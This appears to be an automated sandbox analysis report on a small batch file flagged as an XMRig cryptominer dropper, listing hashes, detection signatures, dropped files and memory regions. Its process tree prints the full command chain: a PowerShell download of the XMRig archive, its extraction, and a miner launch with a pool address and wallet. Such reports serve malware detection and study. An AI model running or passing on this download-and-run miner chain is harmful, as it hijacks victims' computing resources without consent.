Analysis

  • max time kernel
    1793s
  • max time network
    1790s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-12-2023 05:51

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:504
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2220

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    df2ba03400e3e38b7b4558036edc29da

    SHA1

    8c7d05e3cd1129852b6c6baa435b64484a92c01c

    SHA256

    0f28de0855b0c4544f7f9f19605b3128f8789861bc40942dbbe879b9b46b7d0e

    SHA512

    0e4f8ccdb2ceab52e700fe25f46a9013238dda0c930e54fccd66e4cd695eb0fe59fe186ee07199df080d174f5baacd46f50399709b420bec498bc420224131c1

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fwphnwo3.auo.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    77KB

    MD5

    730dd38cd3ff371875c1c5e208ab133c

    SHA1

    2066824a4c1438e5d51ef2d60f5f8430b9e3f5cd

    SHA256

    c1d3fc2e517be2c6da11c67913be317bc29e6f74777476059443022113576bc0

    SHA512

    b8e2bf23f6ca6bed39fc0a7831210841772ba97dd57e331b650a1ea09525227aac6409b438dff07e3742ae224d207ce7a88af8d7ab84e4ff91b4f4c4165aa427

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    37KB

    MD5

    55452275519fb77fe721b9e6c209d7e7

    SHA1

    c7afd299a862a71f8d1a785751a90e849dd069e4

    SHA256

    d085ac1904f5766aedba980807ee6eacd93efa3c1772e45e4d4188e3d98a7d1f

    SHA512

    cdc5d276b7f159ea659fba81b3f74beb3cf29171bc4ac094f14cba4abf437878a1600841c7c1ef30166acef82ca8763569bcade285902241dd8911e08c6213d4

  • memory/504-117-0x00007FFA25A50000-0x00007FFA2643C000-memory.dmp

    Filesize

    9.9MB

  • memory/504-80-0x0000014D3D9A0000-0x0000014D3D9B2000-memory.dmp

    Filesize

    72KB

  • memory/504-93-0x0000014D3D980000-0x0000014D3D98A000-memory.dmp

    Filesize

    40KB

  • memory/504-66-0x0000014D3DA00000-0x0000014D3DA10000-memory.dmp

    Filesize

    64KB

  • memory/504-40-0x00007FFA25A50000-0x00007FFA2643C000-memory.dmp

    Filesize

    9.9MB

  • memory/504-41-0x0000014D3DA00000-0x0000014D3DA10000-memory.dmp

    Filesize

    64KB

  • memory/504-42-0x0000014D3DA00000-0x0000014D3DA10000-memory.dmp

    Filesize

    64KB

  • memory/2220-143-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-148-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-188-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-187-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-186-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-185-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-184-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-183-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-182-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-181-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-120-0x0000028938960000-0x0000028938980000-memory.dmp

    Filesize

    128KB

  • memory/2220-180-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-121-0x00000289389A0000-0x00000289389C0000-memory.dmp

    Filesize

    128KB

  • memory/2220-122-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-125-0x000002893A190000-0x000002893A1B0000-memory.dmp

    Filesize

    128KB

  • memory/2220-124-0x00000289389C0000-0x00000289389E0000-memory.dmp

    Filesize

    128KB

  • memory/2220-123-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-126-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-129-0x000002893A190000-0x000002893A1B0000-memory.dmp

    Filesize

    128KB

  • memory/2220-128-0x00000289389C0000-0x00000289389E0000-memory.dmp

    Filesize

    128KB

  • memory/2220-127-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-130-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-131-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-132-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-133-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-134-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-135-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-136-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-137-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-138-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-139-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-140-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-141-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-142-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-179-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-144-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-145-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-146-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-147-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-178-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-149-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-150-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-151-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-152-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-153-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-154-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-155-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-156-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-157-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-158-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-159-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-160-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-161-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-162-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-163-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-164-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-165-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-166-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-167-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-168-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-169-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-170-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-171-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-172-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-173-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-174-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-175-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-176-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/2220-177-0x00007FF647B50000-0x00007FF648653000-memory.dmp

    Filesize

    11.0MB

  • memory/4928-34-0x00007FFA25A50000-0x00007FFA2643C000-memory.dmp

    Filesize

    9.9MB

  • memory/4928-6-0x000001C5663C0000-0x000001C5663D0000-memory.dmp

    Filesize

    64KB

  • memory/4928-5-0x00007FFA25A50000-0x00007FFA2643C000-memory.dmp

    Filesize

    9.9MB

  • memory/4928-4-0x000001C57E610000-0x000001C57E632000-memory.dmp

    Filesize

    136KB

  • memory/4928-8-0x000001C5663C0000-0x000001C5663D0000-memory.dmp

    Filesize

    64KB

  • memory/4928-10-0x000001C57E8C0000-0x000001C57E936000-memory.dmp

    Filesize

    472KB

  • memory/4928-25-0x000001C5663C0000-0x000001C5663D0000-memory.dmp

    Filesize

    64KB

  • memory/4928-26-0x00007FFA25A50000-0x00007FFA2643C000-memory.dmp

    Filesize

    9.9MB

  • memory/4928-27-0x000001C5663C0000-0x000001C5663D0000-memory.dmp

    Filesize

    64KB

  • memory/4928-28-0x000001C5663C0000-0x000001C5663D0000-memory.dmp

    Filesize

    64KB

  • memory/4928-29-0x000001C5663C0000-0x000001C5663D0000-memory.dmp

    Filesize

    64KB